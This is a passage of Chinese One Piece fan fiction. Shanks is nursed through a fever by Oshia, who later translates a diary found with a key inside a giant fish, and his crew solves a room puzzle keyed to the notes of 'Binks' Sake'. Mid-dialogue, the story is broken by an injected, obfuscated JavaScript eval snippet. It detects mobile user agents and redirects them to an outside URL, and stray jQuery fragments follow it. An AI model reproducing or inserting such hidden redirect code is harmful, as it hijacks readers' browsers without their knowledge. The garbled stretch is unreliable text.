香克斯不断擦着眼泪，大家在他的视线里却还是变得越来越模糊。不知道为什么，他整个人都热得要命，脸上一片滚烫，浑身难受。 忽然，一阵温柔的海风吹过，轻轻拂去他眼角的泪珠。和他身上的热意相反，这阵海风带着沁入心脾的丝丝凉意，拂过面颊的时候让他一下子舒服了许多。 他忍不住抓住那阵风，把它贴在脸颊上，等风的这一面被焐热了，就抓着它调整方向，寻找凉快的地方继续贴贴。 这阵海风不知途径过哪里，盛着一股能让人宁静下来的清甜味道……是花香吗? 他从哪里闻到过吗? 月色下，一个穿着黑色裙子的身影站在大片大片的白色花海里。 “香克斯。” 香克斯抬头看去，其他人和连奥尔·杰克森斯号都消失了，只剩下罗杰船长跟他面对面站在原地。 对方朝他露出一个大大的笑容，“你现在过的自由吗?” 他抱着头顶的草帽使劲点头。 “嗫哈哈哈哈哈哈那就太好了！回去吧，香克斯，你的冒险才刚刚开始！” (二) 奥西娅让香克斯的头侧枕在自己的膝盖上，一只手被他握住贴在他自己的脸上。 她手腕上的皮质护腕已经在他脸上硌出了两圈印子，对方还不肯放开手，甚至还得寸进尺地往上蹭，想把烫乎乎的脸贴到奥西娅被剑袖包裹的胳膊上。 奥西娅用另一只手抿去他眼角的泪珠，一声一声地轻哄着：“不疼不疼，不哭不哭，我在这里守着你呢。” 篝火摇曳间，她温声哼着在家哄三个孩子入睡时的小调儿，垂眸看着他的神情柔软的不可思议。 (三) 999977857785——随着十二个数字在密码盘上被依次转出来，金光闪闪的大门里发出齿轮摩擦的声音，“咔嚓咔嚓”，空间的顶端唰唰往下掉落掺杂着金粉石块、土渣。 金质大门在一行人面前缓缓上升，一股尘封许久的霉味传来，露出里面昏暗狭小的房间。 斯内克望着被升上去的金门一脸可惜：“还等着机关解开后就把它拆下来搬回去呢！” 贝克曼划了根火柴丢进房间里，火柴的光芒闪烁了几下但并未熄灭，“有空气流通，看来不是密室。” 副船长带头，四人一猴刚走进去，金门就“轰隆”一声砸落下来，溅飞一片尘土。 “咳咳咳，靠！老子一定要把它拆下来带回去！” 宾治从背包里掏出手电筒照亮房间，这里面光秃秃的，连扇门都没有，目测是一个5×5×5m的正方体格子。 在手电筒的照射下，房间上下前后左右的六面墙壁反射着金属的冰冷光泽，斯内克“嘶”了一声：“铜墙铁壁啊。” 本乡屈起指节敲了敲金属墙壁，空旷的闷响回荡在这个狭小的房间里，“而且厚度至少有五公分了。” 宾治摸摸光头：“接下来该怎么办?总不能这里就是所谓的‘秘宝’吧?” 像是回应他的问题，房间突然开始剧烈震动，所有人被惯性带的微微踉跄，然后一阵失重感传来，如果奥西娅在这里，她对这种失重感一定很熟悉——是上上个世界的电梯，也是OP世界里圣地玛丽乔亚所谓的升降机。 失重感过后，金属房间的天花板显然被换过了，上面有一对散发着淡蓝色荧光的浮雕数字——‘42’。 四人一猴面面相觑，在彼此眼中看到了同样的懵逼，“我去，这是啥意思?” “别看我啊，我也没辙！” “就算是某种解密机关，那好歹给个输密码的地方吧?这是要把咱们憋死在这儿吗?！” 宾治把手电筒对准自己的下巴，在他们背后幽幽出声：“没准儿‘42’的意思就是指这里已经憋死过四十二个人了，而咱们将会成为第四十三、四十四、四十五、四十六和四十七个！” 其他人：“……” 鸡皮疙瘩从脚趾头一路冒到天灵盖jpg. “混蛋！不要在这种地方说这么恐怖的话啊！！！” “嗷！” “啊！！” “好痛，别打脸！！！” 猛士达：“吱吱(活该)！！！” 大家暴起揍完晦气的队友，把头一致转向贝克曼，异口同声：“副船长，接下来该怎么办?” 香烟猩红的火星在黑暗里明灭，贝克曼平淡的声音响起：“暂时没看出什么来。” 没别的办法，他们只好在六面密闭的金属房间里到处敲敲打打，指望着瞎猫碰上死耗子凑巧找出被隐藏的机关来。 敲了得有一、两分钟，大家的收获还是一无所获。 “咔嚓咔嚓。” 在他们一筹莫展的时候，齿轮转动的声音再次响起。房间左右两侧的墙壁缓慢上升，像是被拉开的水闸，露出墙后的两个房间来。 新出现的两个房间跟他们现在待着的这个没什么太大区别，都是空荡荡的连扇门也没有，唯一的区别就是它们天花板上的浮雕数字，一个是‘38’，另一个是‘42’。 本乡左右张望了一下，肯定道：“好像是让我们挑一个房间进去！” 其他人：“……” 这还用你说啊?！大聪明！！！ “关键咱们应该挑哪个?” 本乡摸着下巴故作深沉，宾治用手电筒帮他打光。 本乡深沉地得出结论：“不知道。” 斯内克一把抢过手电筒砸到他脑门上，“浪费老子感情！” “副船长，咱们该挑哪个?” “信息太少，没办法推断。” 本乡顶着个大包从地上爬起来：“没法推断的话，那就只能凭运气了！” 他把猛士达从宾治的肩膀上薅过来高高举起，像是《狮子王》里举起辛巴的拉飞奇，“为我指引方向吧！雷德·佛斯号上的运气王！嗷！痛痛痛！！别挠别挠！！！” 挠完智障，猛士达甩着尾巴走进了标有数字‘38’的房间，“吱吱，吱吱吱！” 宾治翻译道：“猛士达的意思大概是，海贼才不要一成不变的冒险，既然‘42’已经去过了，那就挑个不一样的！” “……噗！” “喂喂，靠不靠谱啊?猛士达！” 大家一边爆笑一边走进房间‘38’。 “哈哈哈哈哈猛士达，你这家伙也太任性了吧！” “真有你的！不愧是咱们船上最卡哇、咳咳，最凶狠可靠的海贼！嗷！别挠别挠！我又没说你卡哇伊！！！” (四) 香克斯的体温终于恢复到了正常，奥西娅疲惫地打了个哈欠，脑袋一点一点的，闭上眼睛养神。 随着时间的流逝，篝火逐渐变得黯淡，火光昏昏沉沉地跳动着。 香克斯睁开眼睛，还没从那场“久别重逢”里回过神来，只觉得自己好像趴在了非常柔软的枕头上，鼻尖萦绕着梦里那种好闻的味道。 他偏着脸抬眼一瞧，就看到头顶上方有两个被黑色布料包裹起来的大球。 香克斯眨眨眼睛，好奇且手贱地用手指戳了戳，下一秒就被巴掌抽到了脸上。 “啪！” 清脆响亮，一听就知道是张好脸。 香克斯还没来得及入窍的那点儿三魂七魄被这一巴掌给彻底抽复位，抬头便对上了一张的两靥染绯的美人面。 对方抿着嫣红的唇瓣，两颊气鼓鼓的，双目嗔非嗔，眉梢似蹙非蹙。 香克斯：“……” 他下意识捻了捻指尖。 奥西娅本来在闭目养神，就感觉胸被戳了一下，手比脑子快，当即一巴掌抽过去，低头一看，就对上了香克斯瞳孔地震的眼睛。 她感觉整个人都要烧起来了，心脏在身体里砰砰直跳，不知道是恼得还是羞得，“你……” 不等奥西娅骂出个一二三来，香克斯就先一步把脸埋进了人家的膝盖里，发出一声高过一声的哀嚎：“啊！痛痛痛！好痛！！超级痛的！！！感觉脸都要被抽飞了！！！！” 好一招先发制人出其不意反客为主倒反天罡。 “……” 奥西娅本来要说的话就这么被哽在了嗓子里，一时间不知道该先从哪一句说起。她动了动还被他握着的那只手，想要抽回来，却被对方更用力地握紧。 奥西娅：“……” 奥西娅的脸更红了。 香克斯顿了一下，松手让人家把手抽走。 “……” “……” 他们同时开口：“我……” 俩人一愣，又是异口同声：“你先说！” “……” “扑哧~” 奥西娅垂下眼帘，左手抵在唇边掩笑，漂亮的眉眼弯成两道月牙，长而翘的睫毛像是蝴蝶轻颤的双翼。 香克斯侧着脸偷偷观察，心想，既然笑了，那就是不生气了……吧? 在奥西娅看过来之前，他赶紧把脸重新埋回人家的膝盖里，声音闷闷的，听起来很哀怨：“你这家伙也太不给我面子了吧?真的好疼……我好歹是你的船长啊！” 奥西娅：“……噗~” 对不起，被上上辈子“面子果实”的热梗荼毒太深，她现在一听香克斯说“面子”就想笑。 香克斯：? 她笑什么？他被打脸这件事很好笑吗！ 奥西娅用手指一点一点帮他梳理着后脑凌乱的红发丝，像是知道他在想什么似的，温声道歉：“斯密马赛，我刚才想起了一点别的事情。” “……” 香克斯感觉到对方说话时的温热呼吸扑在了他的后脖颈上，温凉柔软的指尖在发间穿梭……耳根莫名开始发烫，还有点痒，他难捱地动了动脖子，关节发出“咔吧”的脆响。 好一会儿，他像是被撸舒服了的大猫，嘿嘿笑了几声，忍不住搭话：“……我真不是故意的，你之前可一直都是男人嗷！疼疼疼！！我错了！我真的错了！！不说了！我真的不说了！！别、别别别！别扯我头发！” 奥西娅松开手，指间飘下几根漂亮的红色发丝。 她好不容易才忘记刚才的事，他还敢提！ 奥西娅是忘记了，香克斯却是全想起来了……除了刚才戳人家咳咳，什么揽小腰啊，摸小手啊，拍着人家屁股嘲笑人家虚啊。 在船上的时候，鬼面他、她从来不跟大家一起洗澡，当时他是真的以为对方是在为自己干瘪瘦小不爷们的身材感到自卑，不好意思和他们这帮身材强壮的兄弟坦诚相对……现在再看，他、她明明就超有料嘛！ 想到水下那个人工呼吸……的吻，香克斯的耳根更烫了，忍不住收紧了搭在她腿上的手，掩饰性地撒娇：“真的超疼哒~~~~” 尾音拖得老长，一听就知道给孩子委屈坏了。 奥西娅幻视看到了家里的小路飞，忍不住开始自我怀疑，难道她真的用力过猛了? 是揪得头发疼，还是扇得脸疼? 她检查了一下对方的头皮，没有什么问题，那就是脸了。谁打的谁知道，她那一巴掌可没收着力呢！ 奥西娅有点着急，想把对方埋在她膝盖里的脸捧起来检查一下有没有伤口。香克斯却死死抱住她的大腿坚决不抬头。 笑死，谁的脸皮谁自己知道，就凭鬼面那点儿力气扇在他脸上连个印子都留不下来，一抬头保准儿露馅，他可不想再被打了！ “受害人”死也不肯抬头，奥西娅也没别的办法，还真以为是自己一巴掌把船长的“面子”给扇碎了，让对方伤了心，只好一个劲儿地道歉：“斯密马赛，斯密马赛，对不起呀香克斯，我不是故意的，可以请求你的原谅吗?” “……” 本来站在伪·道德制高点上的香克斯听了她十分真诚的道歉后有些装不下去了……这也太好欺负了吧！占便宜的可是他啊！这家伙不会不清楚男女界限什么的吧? 幸好这次是他，那要是别人呢?！！！！ 想到这里，香克斯猛地抬起头，“砰”的一声跟正低头和他道歉的奥西娅撞在一起。 “嘶……” 香克斯倒是屁事儿没有，奥西娅的脑门上却红了一片，被这个突如其来的头槌撞得一阵耳鸣、眼冒金星。 香克斯看她疼得眼泪都掉下来了，有些慌了，小心翼翼地捧着她的脸去检查脑门上的红痕，“我把你撞疼了吗?对不起对不起对不起！” 奥西娅眼泪汪汪的，吸吸鼻子：“我没事，你不用……” 闻言，香克斯垂眸看向她，这才发现两个人的距离近到几乎没有，对方乌亮的眼珠湿漉漉的，长长的睫毛尖上坠着一两滴晶莹的泪珠。 他们鼻尖对着鼻尖，对方再细微的表情也逃不过他的眼睛，只要她现在稍微皱一下眉……但她没有皱。 交织的呼吸轻轻倾洒在彼此的面颊上，香克斯忍不住吞咽了一下嗓子，喉结滚动。 (五) 另一边，闯关组刚走进标有‘38’的房间，两块金属墙壁就再次落了下来，熟悉的失重感传来，下一秒，整个房间就像是《速度与激情》里的超跑…… 一个大冲刺！ 一个大漂移！！ 一个大刹车！！！ 宾治一个下盘不稳，在即将跌倒的时候拉住了本乡的裤腿！！！！ “靠！！！！！” 本乡拉着自己被拽到腿弯儿的裤子破口大骂：“老子以后再也不穿带皮筋的裤子了！” 其他人：“本乡你的内裤居然是红色的！” “……” “闭！眼！啊！！你们这帮混蛋！！！！” 房间最后一个猛地下坠，把里面的“乘客”摔得七荤八素。不等“乘客们”投诉，它就再次升起了两道墙壁，这一次升上去的墙壁是紧挨着的两块，像个岔道口一样，通向两个不同的金属房间，一个标码‘42’，另一个标码‘38’。 一行人从地上爬起来甩甩脑袋，“这次还选跟上个数不一样的?” 然而，不等他们做出决定，那两道金属墙壁居然已经开始下降了，而且下降的速度要比第一次快得多，眨眼的功夫就下降了二分之一，来不及多做思考，大家骂骂咧咧地飞速钻进房间‘42’。 金属墙壁几乎是卡着他们进去的点轰然落地，紧接着又是一番天旋地转地移动，房间里又有两面墙壁升起，新出现的两个房间的数字分别是‘38’和‘23’。 他们刚看清房间里的数字，两道墙壁就又开始下降了。 “喂！一点思考的时间都不给吗?！” “合着只有第一次是新手保护期对吧?！” “42，38，42……难道是某种坐标？” “谁知道啊！这次选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097920|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来没选过的‘23’?” “不！”宾治突然大喊：“我们要去的应该是‘38’！！！” 来不及解释，大家就地一滚，迅速从仅剩的五分之一的缝隙里滚进了标有‘38’的房间。 趁着房间在移动的间隙，宾治咧着嘴巴跟他们解释：“打开金门的密码是‘999977857785’，这串数字不只是机关攻击的次数，还是某首歌谱里每个小结的音符个数！” “……” “唉?！！！！” “房间里标着的数字也不是坐标，而是每个小结里音符的相加之和哈哈哈哈哈！！” “唉?！！！！！！！！” “八嘎！你们还没想起来吗？！就是那首最伟大的海贼之歌啊！！！” (六) 篝火中突然炸开一粒火星，“啪”的一声轻响，惊醒了这对几乎静止的年轻男女，他们倏地分开。 “咳咳咳咳咳咳！” 安静的空间里响起一阵掩饰性的咳嗽，奥西娅不自在地动了动膝盖，嘴里发出“嘶”的一声，一阵又疼又麻的感觉从双腿直窜天灵盖，酸爽得她差点没控制住表情。 奥西娅整个人往后一仰，小心地掰直酸麻的双腿，笨手笨脚的，像只被翻盖后倒腾四肢的小乌龟。 香克斯憋不住笑出声：“噗嗤。” 奥西娅抿了抿唇，削葱似的指尖扣了两下马面裙的布料，嘴里的话有点像赌气，却显得可怜兮兮的：“我的腿麻了。” 香克斯“嗯”了一声，Get到了她的埋怨，声音里带着笑意，认下这口锅：“都怪我。” 奥西娅：“……” 这个人、这个人怎么这么讨厌啊！ 眼瞅着对方欺霜赛雪的肌肤上再次弥漫起云霞似的绯红，香克斯起身，活动了一下肩膀，直接将她打横抱了起来。 “哎！” 奥西娅下意识环住他的脖颈，这个角度，她一抬头就能看到对方清晰的下颌。 香克斯把她放到旁边的大石头上让她坐好，然后自己蹲下身去帮她按腿上的麻筋儿。 奥西娅一个激灵，曲起腿想要往后躲，却被对方一把握住了小腿。 香克斯抬头，朝她眨巴了一下眼睛，脸上挂着灿烂的笑容：“我没帮别人按过，可能力道有些不合适，要是按疼了你就告诉我。” 说着，他的手就捏上了奥西娅麻得要命的小腿肚：“这里麻吗？” 奥西娅：！！！！ 奥西娅好悬没控制住给他一脚踹出去，他是一点儿都没谦虚，力道是真的不合适，一捏下去，疼得奥西娅想嗷嗷叫，顾及着“我现在是在男神面前”才给绷住了。 她连忙一手推着香克斯，一手抱紧自己的腿不让他碰，在香克斯的连声“对不起”里才重新把小腿送到他手上。 香克斯这次打起了十二万分的精神，手劲放的是轻了又轻，小心翼翼地观察着对方的表情，总算是找到了合适的力道。 奥西娅小腿上的肌肉很紧绷，被香克斯捏的时候特别酸胀，她被麻得没有办法，又有包袱，不想在香克斯面前变成表情包，只好紧紧抓着对方的胳膊，在精神上鼓舞自己——我已经抓住他的手臂了＝我已经减缓他的按捏力度了＝我一点都不麻！ 香克斯注意到她自以为毫无“颜艺”的表情，忍笑鼓励道：“忍一下，按按恢复的比较快。” 奥西娅抓紧他的胳膊，使劲点头。 她！以！后！再！也！不！会！跪！坐！这！么！久！了！QAQ！！！！ 等最开始的那阵酸麻劲儿过去，奥西娅终于能松一口气，安心享受起男神的按腿服务，嘿嘿o(≧v≦)o~ 眼神偷偷瞄着下方给她按腿的香克斯，对方只松松垮垮地套着一条深棕色的七分裤，上半身斜斜地缠着白棉布条，漂亮的肌肉线条大刺啦啦的舒展着，活脱脱一位战损硬汉版本的男菩萨！ 奥西娅偷瞄一眼，赶紧偏头移开视线，再瞄一眼，然后又迅速撇开脸……感恩感恩！ 托她三辈子都学医的福，她很快就把对方露出来的肌肉给一一对上了号，斜方肌肩峰三角肌肱二头肱三头肌掌长肌尺侧腕屈肌骨间背侧肌甲状软骨锁骨上窝锁骨胸大肌腹上窝前锯肌半月线腱划腹外斜肌腹直肌腹白线，什么人鱼线鲨鱼线，该有的都有，不该有的都没有……嘿嘿~感恩感恩！ 香克斯：“……” 他又不是瞎！ 更何况怕自己再按疼她，他连见闻色都用上了，怎么可能发觉不了她的那点儿小动作……咳咳，他现在就是很庆幸篝火快要灭了，周围没刚才那么亮，否则对方肯定能发现他从头红到了尾，就是把全世界的红颜料都打翻了，也没他红得这么彻底。 香克斯左右环顾，找到了正架在篝火旁烤干的衬衫，虽然脏兮兮的、虽然已经变成了Fashion的露背装，但他还是跟找到了救命稻草一样，手脚麻利地火速把它套在身上。 这次跟平常不一样，他也不整什么放荡不羁、不拘小节、好好的一件衬衫只扣两三颗扣子了。他，香克斯，板板正正做人，把扣子从头扣到底，只露出来由于客观条件实在挡不住的后背和因为不安而滚动的喉结。 奥西娅：“……” 奥西娅一脸“雨我无瓜”地抬头望天……哦，这里是大鱼的肚子，没有天。 怎么说呢? 他知道她在偷看。 但她也知道他知道了她在偷看。 (七) 海贼们喜欢冒险！喜欢宴会！！喜欢唱歌跳舞！！！喜欢一切跟自由与热闹有关的东西！！！！ 在这片广袤的大海上，有千千万万首船歌，如果要在其中选出一首最有代表性的“海贼之歌”，那所有海贼的脑海里都会不约而同地浮现出同一首歌的名字，那首从最普通的海贼到海贼王都将它再三传唱的歌曲——《宾克斯的美酒》。 宾治大笑着把歌谱唱出来：“下一个小节是sol mi re do la si do~” 贝克曼反应过来，嘴角勾起，“5321671的相加之和对吗？那就是25了。” 第一个房间给出的数字‘42’是《宾克斯的美酒》第一个小节的音符‘355556535’的相加之和。 第二、三个房间，他们误打误撞选中了第二个小节‘355556531’的相加之和‘38’跟第三个小节‘355556535’的相加之和‘42’。 果然，等这间房间的墙壁升起，新出现的两个房间里其中之一就是‘25’！ “呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~哈哈兄弟们！为咱们的音乐家干杯！” “哦！！！！” “呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~” 几个海贼大笑着唱起《宾克斯的美酒》，在金属墙壁下降前跑向正确的房间！ 贝克曼跟在他们身后，嘴角带着淡淡的笑容，这群家伙真的是在什么时候都能高兴起来。 “给你送去宾客斯的美酒！乘风破浪任我游！！” “浪潮汹涌！夕阳骚动！鸟儿歌声！划破长空！离别港口！难忘乡愁！高歌一曲诉情怀——！！！” “兄弟们！‘61556714’加起来等于几?！” “37！！！” “……八嘎！你掰着指头数也能数出来是‘35’吧?！！！” “唉?！哈哈哈哈斯密马赛！” “波涛澎湃！浪花飞溅！堂堂男儿纵横天涯海角——！！！” 伴奏突然响起，其他人目瞪口呆，“我靠！宾治！你从哪儿掏出来的小提琴！！！” “哈哈哈哈八嘎！我可是咱们海贼团的音乐家啊，这是基操！！” “就算如此你这个家伙也太夸张了吧！” “哈哈哈给你送去宾客斯的美酒！大洋之上我等海贼独领风骚！！！” “下一个房间是‘11’！” “哦！！！！” “波浪为枕！战船做床！骷髅旗帜！随风飘扬！！万里长空！风声雷起！波浪起舞！战鼓隆隆！！” “明日自当雨过云开散！堂堂男儿不惧艰难险阻！哈哈哈哈哈哈哈哈哦吼！！！” “呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~” “呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~呦嚯嚯嚯~” “给你送去宾客斯的美酒，昨夜今宵梦里寻~” “送别之人，渐渐远去，月圆之夜再相聚~” “哈哈哈哈给你送去宾客斯的美酒！放声高唱大海之歌！！” “人生苦短世事难料，今宵有酒今宵醉！！！” “呦嚯嚯嚯~呦嚯嚯嚯~” “呦嚯嚯嚯~呦嚯嚯嚯~~” “呦嚯嚯嚯~呦嚯嚯嚯！” “呦嚯嚯嚯~呦嚯嚯嚯……” 13. 第 13 章 (一) 接下来的一切都顺理成章。 挑选正确的房间，墙壁降落，房间移动，墙壁升起，再挑选、再降落、再移动…… 42、38、42、38、25、23、35、11、25、23、35、11，等十二个房间全部选择完成，他们脚下的地板发出一声跟之前不太一样的钝响，失重感结束后，四人一猴正前方的金属墙壁缓缓上升，这次的出口只有一个。 随着金属墙壁上升，浅金色的光芒从越来越大的缝隙里挤入、照亮这个狭小的房间，一行人下意识屏住呼吸。 等金属墙壁彻底升起，他们全都被眼前这一幕给震撼住了。 一行人嘴巴微张：“……” 饶是他们也算是见过大场面的海贼了，可实在还是…… “靠！” 斯内克把墨镜摘下来捏着袖口擦干净镜片再戴回去，确定眼没瞎镜没花以后继续嘴巴微张。 宾治咽了咽有些干涩的嗓子，狠狠掐了旁边的本乡一把。 “嗷！！混蛋！你掐我干什么？” “疼吗？” 本乡气笑了：“你大爷的，你自己什么手劲儿心里没点逼数是吧?” “疼啊?！你疼啊！！哈哈哈哈哈疼就说明咱们不是在做梦！！！” “发了！兄弟们哈哈哈哈哈哈咱们这次发了！！！” “呦吼！！！” 金属房间外是一个金碧辉煌的大厅，白玉铺地金砖做顶，几十颗拳头大小的夜明珠镶嵌在大厅的墙壁上散发着柔和的光芒。 大厅中央的黄金高台上摆着一张黄金打造的王座，成堆的金银珠宝王冠利剑环绕在王座四周，像是接连不断的成片山丘。 字面意义上的金山银山。 海贼们鱼贯而入，欢呼声在这个堆满财宝的大厅里震耳欲聋。金币被他们捧起来洒向空中，又“噼里啪啦”地落下，金光闪烁，像是下起了一场黄金雨。 “哈哈哈哈哈哈哈！一百箱炮弹还是保守了！我要买六百箱！！三百箱用来打水漂哈哈哈哈哈哈哈！！！” “斯国一！这里难道就是传说中的黄金乡香多拉吗？！” “回去就让雷德·佛斯号变成有钱人家的船哈哈哈哈哈先修上三层小别墅！！” “靠！我一时间竟然失去了努力目标！！” “加一加一！我现在只想躺在财宝堆里睡大觉！！” 贝克曼原地驻足欣赏了一会儿他们的蠢样，便在大厅里到处翻找起来。 诗歌的后半段‘开启关键的钥匙藏于鱼腹，被囚的亚弗戈蒙为未来留下秘宝’，这两句还没有答案……他们看似找到了宝藏，但冒险似乎还没有结束。 啧，那个白痴船长究竟跑到哪里去了?居然现在还没找过来，果然是白痴。 贝克曼绕过黄金王座，王座后的墙壁上摆着一排黄金打造的巨大书柜，书柜的顶端直达天花板。 他一连个打开好几个的抽屉，都是空空如也，一本书也没找到。 贝克曼从某个抽屉的缝隙里扣出来一小角带着烧痕的羊皮纸片，纸质跟他们在鱼肚子里发现的羊皮纸卷很像，但应该做了某种特殊的防腐处理，纸片的质地依然坚硬，没出现羊皮纸卷那样的氧化问题。 所以，这里的书都被人刻意处理掉了吗？ 书，是一个种族智慧的结晶，大多记载着他们的思想、文化和历史，是一份无法用金钱衡量的宝藏，是一个种族文明的传承……所以，那些书里记载了什么了不得的东西，才会让人把大厅里成堆的财宝弃之如敝，只处理掉了它们? 又或者说，大厅里的财宝只是吸引来访者注意力的障眼法，用来遮掩书被处理掉的真相? 他莫名想到了奥哈拉事件。 可如果真是他猜测的这样，那为什么没有干脆把整个大厅都处理掉？ 还是说中途发生了某种意外，只来得及处理掉最关键的书籍。 贝克曼将柜门重新合上，把目光投向了书柜旁边等人高的落地花瓶上，花瓶上面装饰着一个女神浮雕。 女神头带花冠，微卷的长发蜿蜒至脚踝，她张开背后的翅膀，双臂伸向上方，像是要飞起来去拥抱天空之上的某样东西，跟“女神岩”有些类似。 托这一路上不是碰到机关就是碰到机关的福，贝克曼现在已经对机关PTSD了，看见点什么奇怪的东西就往机关上面想。 他伸手想要挪动花瓶……没挪动动，贝克曼挑眉，双手搭上瓶身，尝试顺时针转动。 (二) 另一边，香克斯和奥西娅正在大鱼腹中探索。香克斯举着火把照明，二人并排走在由各种杂物堆积而成的小岛上。 一路上，奥西娅的眼神总忍不住往香克斯的背上瞧，雪白的布条上已经渗出点点猩红，对方背上那条骇人的伤口在她眼前挥之不去。 几次欲言又止，奥西娅终于鼓起勇气，伸手拽了拽对方的衬衫下摆，“香克斯，对不起。” “嗯?” 香克斯停下脚步，有点诧异地低头看向她：“为什么道歉?” 她低着头，手指惴惴不安地扣着裙摆，“如果不是我拦着你拔剑，非要到大鱼肚子里来，你也不会受伤。” “可你也是为了帮大家找到‘藏于鱼腹’的钥匙对吧?” 他突然握住她扣着裙摆的手，腰弯得很低，将自己的脸贴到对方的掌心里，自下而上地望着奥西娅的眼睛。 这个角度下，他的眼睛显得很圆，透着一股无辜的意味。 “而且，一个人照顾我很辛苦吧?”他撒娇似的蹭了蹭她的掌心，“对不起，让你担心了，以后我会注意的。” “……” ……这这这这这这！这！！这！！！ 奥西娅脸上往外“欻欻”冒着热气，漂亮的眼睛变成了两圈蚊香，被男狐狸精迷得七荤八素，蠢兮兮地让人家牵着小手继续往前走。 香克斯：嘻嘻~ 他突然想到了什么，嘴里感叹地“啊”了一声，“鬼、我还不知道你的名字?” “奥、奥西娅，波特卡斯·D·奥西娅。” “奥西娅?”对方歪头看向她，还故意晃了晃俩人拉着的手，“那我叫你西西可以吗？” “……” 奥西娅红着脸把手从他掌心里抽回来，自顾自地往前走。 “唉?” 他赶紧追上去，“西西，我现在很开心！” 就算奥西娅不理他，他一个人也能说得很开心，叽叽喳喳的，像一只快乐的小鸟。 只不过这一次他只讲自己的事情，至于耶稣布莱姆琼斯斯内克本乡宾治猛士达路尤其是贝克曼！他们的糗事? 达咩达咩！才不要一群臭男人出现在他跟西~西~的聊天里！ 奥西娅看上去不想理会他，但实际上对方的每句话都听进了耳朵里，唇角微微上扬……这样的人很难让人不喜欢吧? “对了。” 他突然收起笑容，垮起小猫批脸：“西西，要是有人像我之前那样……那样碰你的话，你就狠狠揍他，把对方的手剁了也是可以的，如果打不过就喊我。” 奥西娅：“……” 啊啊啊！ 他在说胡说八道什么啊?！ 香克斯这个大！大！！大笨蛋！！！ (三) “咔嚓咔嚓。” 齿轮声转动的声音突兀响起，那排巨大的黄金书柜从中间往两侧分开，露出一扇同样巨大的青石巨门来。 它占据了整面墙壁，间隙密实，可以说是天衣无缝。青色的石面上带着被攻击过的痕迹，沉淀着从岁月中远赴而来的古朴，与浮华的黄金大厅格格不入。 其他人也被这边的声响给吸引了过来，本乡举着一根黄金权杖在石门上敲了敲，厚重的声响回荡在大厅里。 他像是经验老道的西瓜老农，敲敲就一切尽在掌握之中，“这扇石门至少五十公分厚，而且材质很奇怪……” “啊！” 他恍然大悟，手里的权杖也掉在了地上，震惊道：“是历史正文啊！跟咱们以前碰上的那些刻着历史正文的石头是一个材质！！！” “……” “……” “……” 沉默，沉默萦绕在这个大厅里…… “……所以。”斯内克张了张嘴巴，干巴巴道：“这扇门跟那些历史正文一样，八百年前的东西?” “跟空白的一百年有关?！” “靠！！！！” 几个海贼喊得有点破音，把怀里的金银财宝往地上一丢，搓着手手彼此对视，“嘿嘿，兄弟们，咱们这次碰上大发的了！” 石门的左右两侧还各刻着一段话，使用的是那种只有鬼面认识的文字，贝克曼掏出随身携带的小本本和圆珠笔模仿着字形把这两句话复刻在本子上。 其他四名海贼则是趴到石门上摸索着找可以开启的机关……半晌，本乡回头看向贝克曼，“副船长，你敢信?” “这扇门上没有任何可以启动的机关，想打开就得用钥匙！老实的令人可怕！” 他指着门上的钥匙孔抓狂：“靠！咱们哪儿来的钥匙啊?头儿呢？头儿他倒底跑哪儿去了啊！！！” 贝克曼把小本本和圆珠笔重新放回口袋，“开启关键的钥匙藏于鱼腹，被囚的亚弗戈蒙为未来留下秘宝，这两句就有答案了。” “等着吧。”他把快要燃尽的烟蒂掐灭，换上一根新的点燃，淡淡道：“头儿不会无缘无故消失这么久的。” (四) 香克斯突然打了个喷嚏，奥西娅担心地摸上他的手掌，还是热乎乎的，她松了一口气：“还以为是感冒了呢。” 他反手牵住对方的手，嬉皮笑脸道：“我从小到大还没感过冒呢，估计是贝克在念叨我们哈哈哈哈！” 奥西娅：“……” 确定不是在diss咱们两个脱队且不知所踪的笨蛋吗？ 走着走着，周围的“墙壁”上有越来越多银色荧光出现，星星点点，二人置身其中，像是踏入了一条从天而降的银河。 “好漂亮，像星星一样……” 奥西娅看着周围，有些被惊艳到，“这些是什么东西?” 香克斯抬手在“墙”上抹了一把，将一片银光点点的掌心伸给她看：“深海鱼类的体内可以形成一种荧光物质，用来引诱并捕食趋光性的鱼类，据说即便离开了本体也可以保持发光一百年。” “斯国一！” 奥西娅笑道：“那如果收集起来放在瓶子里，是不是可以当不费电也不费火的小夜灯?” “西西想要吗?我几年前还收集了一些，不过是海蓝色的，回去我给你找找。” 他讨好的态度很明显……奥西娅用指尖轻轻划过对方的掌心，立刻也沾上了点点星光，抿唇笑道：“阿里嘎多。” “……咳、咳咳，别这么客气嘛哈哈！” 两个人继续往前走，在前方看到了一块荧光物质的结晶，成人脑壳大小，磨砂质感里银光点点，像是封印着许多小星星。 香克斯凑近去瞧，“嗯?里面好像有什么东西。” 说着，他一拳打向结晶，结晶应声而碎。 奥西娅：“……” 手真的不会疼吗？ 手真的不会疼的香克斯捡起结晶碎块里的钥匙和一个本子献宝似地递给她，“鱼肚子里居然真的有钥匙，还好西西你拦住了我拔剑。” 她只接过了本子，翻开后发现是一本日记，书写的人依旧用了让奥西娅十分有亲切感的汉字，字里行间充斥着很多感叹号，感觉笔者意外是个很活泼的人呢…… 香克斯捡了几块荧光结晶的碎块随手塞在裤兜里，颠颠地凑过去，耍无赖似的把下巴垫在奥西娅的头顶上，拉长语调撒娇：“西西，上面写了什么……看不懂啊。” 奥西娅好脾气帮他翻译…… 海圆历620年，一月一日，高塔里看不见外面的天气所以随便吧。 今天是我十七岁的生日，也是我来到这个世界的第十七年，我终于搞懂了自己到了哪里。 